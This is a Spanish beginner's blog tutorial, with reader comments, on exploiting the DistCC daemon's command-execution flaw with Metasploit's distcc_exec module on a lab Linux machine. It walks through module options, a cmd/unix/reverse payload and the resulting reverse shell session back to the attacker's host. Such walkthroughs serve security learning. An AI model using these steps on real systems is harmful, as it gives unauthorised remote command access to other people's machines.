Inicio > Hacking, MetaSploit > Penetrando Sistemas bajo plataforma GNU/Linux (vulnerable) con MetaSploit FrameWork – Parte VIII

Penetrando Sistemas bajo plataforma GNU/Linux (vulnerable) con MetaSploit FrameWork – Parte VIII

CONCEPTOS BASICOS DE PENETRACION BAJO PLATAFORMA GNU/LINUX(VULNERABLE) USANDO METASPLOIT FRAMEWORK – PARTE VIII
Entendiendo y Atacando el servicio DISTCCD

Encontrando Vulnerabilidades sobre el servicio DISTCCD (Puerto 3632)

DISTCCD es un servicio distribuido que se encarga de compilar y construir programas escritos en C, C++ y Objective C++, al ser distribuido el resultado final de la compilación de los programas genera los mismos resultados como si se tratara de una construcción en el sistema local, se trata de un servicio bastante útil para equipos de desarrolladores de C y C++.

No obstante, existen algunas vulnerabilidades que atañen a este servicio y se encuentran centradas precisamente en las capacidades distribuidas que este ofrece a los usuarios, una de estas vulnerabilidades es precisamente en que cualquiera podrá conectarse a dicho servicio y ejecutar comandos de forma arbitraria, lo que desde luego, es completamente indeseable.

Para explotar esta vulnerabilidad, en primera instancia se busca el modulo adecuado desde metasploit

msf exploit(tomcat_mgr_deploy) > search distccd
[*] Searching loaded modules for pattern ‘distccd’…

Exploits========

Name Disclosure Date Rank Description

—- ————— —- ———–

unix/misc/distcc_exec 2002-02-01 excellent DistCC Daemon Command Execution

msf > use exploit/unix/misc/distcc_exec

msf exploit(distcc_exec) > show options

Module options (exploit/unix/misc/distcc_exec):

Name Current Setting Required Description

—- ————— ——– ———–

RHOST yes The target address

RPORT 3632 yes The target port

Exploit target:

Id Name

— —-

0 Automatic Target

msf exploit(distcc_exec) > set RHOST 192.168.1.34

RHOST => 192.168.1.34

msf exploit(distcc_exec) > set PAYLOAD cmd/unix/reverse

PAYLOAD => cmd/unix/reverse

msf exploit(distcc_exec) > exploit

[*] Started reverse double handler

[*] Accepted the first client connection…

[*] Accepted the second client connection…

[*] Command: echo 8iFkroIa7EJdn9JV;

[*] Writing to socket A

[*] Writing to socket B

[*] Reading from sockets…

[*] Reading from socket B

[*] B: “8iFkroIa7EJdn9JV\r\n”

[*] Matching…

[*] A is input…

[*] Command shell session 4 opened (192.168.1.33:4444 -> 192.168.1.34:40053) at Sat May 21 22:45:33 +0200 2011

whoami

daemon

uname -r

2.6.24-16-server

Como se puede apreciar, nuevamente se ha conseguido una sesión reversa con la maquina remota.

Esta ha sido la ultima entrada relacionada con conceptos básicos de explotación de maquinas GNU/Linux, se han tratado vulnerabilidades a modo general que un hacker newbie comienza a conocer y entender, sin embargo, la explotación de sistemas va mucho mas allá de esto, en realidad se trata de un campo bastante complejo y difícil de seguir, sin embargo con dedicación todo es posible. En próximas entradas se intentará explicar como se puede penetrar en maquinas con unos niveles de seguridad medios/normales utilizando técnicas un poco mas elaboradas y que requieren mayor esfuerzo por parte del atacante.

  1. enero 3, 2015 en 7:32 pm

    Hola, después de hacer :
    msf exploit(distcc_exec) > set RHOST 192.168.1.34
    RHOST => 192.168.1.34
    msf exploit(distcc_exec) > set PAYLOAD cmd/unix/reverse
    PAYLOAD => cmd/unix/reverse

    Cuando escribo lo siguiente, falla. ¿Qué se debe hacer y a qué se debe?:
    msf exploit(distcc_exec) > exploit

    [-] Exploit failed: The following options failed to validate: LHOST.
    msf exploit(distcc_exec) >

    Ayuda por favor!!!!

    Me gusta

  2. Mari Luz
    enero 4, 2015 en 12:46 am

    Si, y la establezco. Pongo la misma que RHOST, es decir: set LHOST 192.168.1.34, pero me sigue dando error 😦
    [*] Started reverse double handler
    [-] Exploit failed [unreachable]: Rex::ConnectionTimeout The connection timed out (192.168.1.34:3632).

    Me gusta

  3. Mari Luz
    enero 4, 2015 en 1:00 am

    Y otra duda, porqué pones en RHOST esa ip? osea, qué quiere decir esa ip?

    Me gusta

    • enero 4, 2015 en 1:27 am

      la ip que se pone en el artículo es una máquina en el segmento de red local. En RHOST debes poner la dirección ip de la máquina que estás atacando. LHOST es una propiedad que te permitirá levantar un handler en tu máquina local para recibir las peticiones correspondientes a un exploit que se ha ejecutado correctamente. Debe tener la dirección ip local de tu máquina.

      Me gusta

  4. Mari Luz
    enero 4, 2015 en 1:35 am

    De acuerdo, en RHOST pongo la máquina que tiene usted: 192.168.1.34 y en LHOST pongo mi ip local. Pero me sigue apareciendo el mismo error:
    Puede saberse a qué se debe y qué tengo que hacer?

    [-] Exploit failed [unreachable]: Rex::ConnectionTimeout The connection timed out (192.168.1.34:3632).

    Me gusta

    • enero 4, 2015 en 12:33 pm

      192.168.1.34 es una ip que está en mi entorno de red local y si lees el mensaje que te está dando metasploit, veras que tiene todo el sentido del mundo, no se puede conectar a esa máquina. En RHOST tienes que poner la dirección IP de la máquina que quieres atacar.
      Una recomendación: Antes de aprender a utilizar herramientas como metasploit, aprende qué es lo que hacen y sobre todo, tienes que aprender los conceptos básicos de seguridad, redes y programación.

      Me gusta

  1. No trackbacks yet.

Responder

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s

A %d blogueros les gusta esto: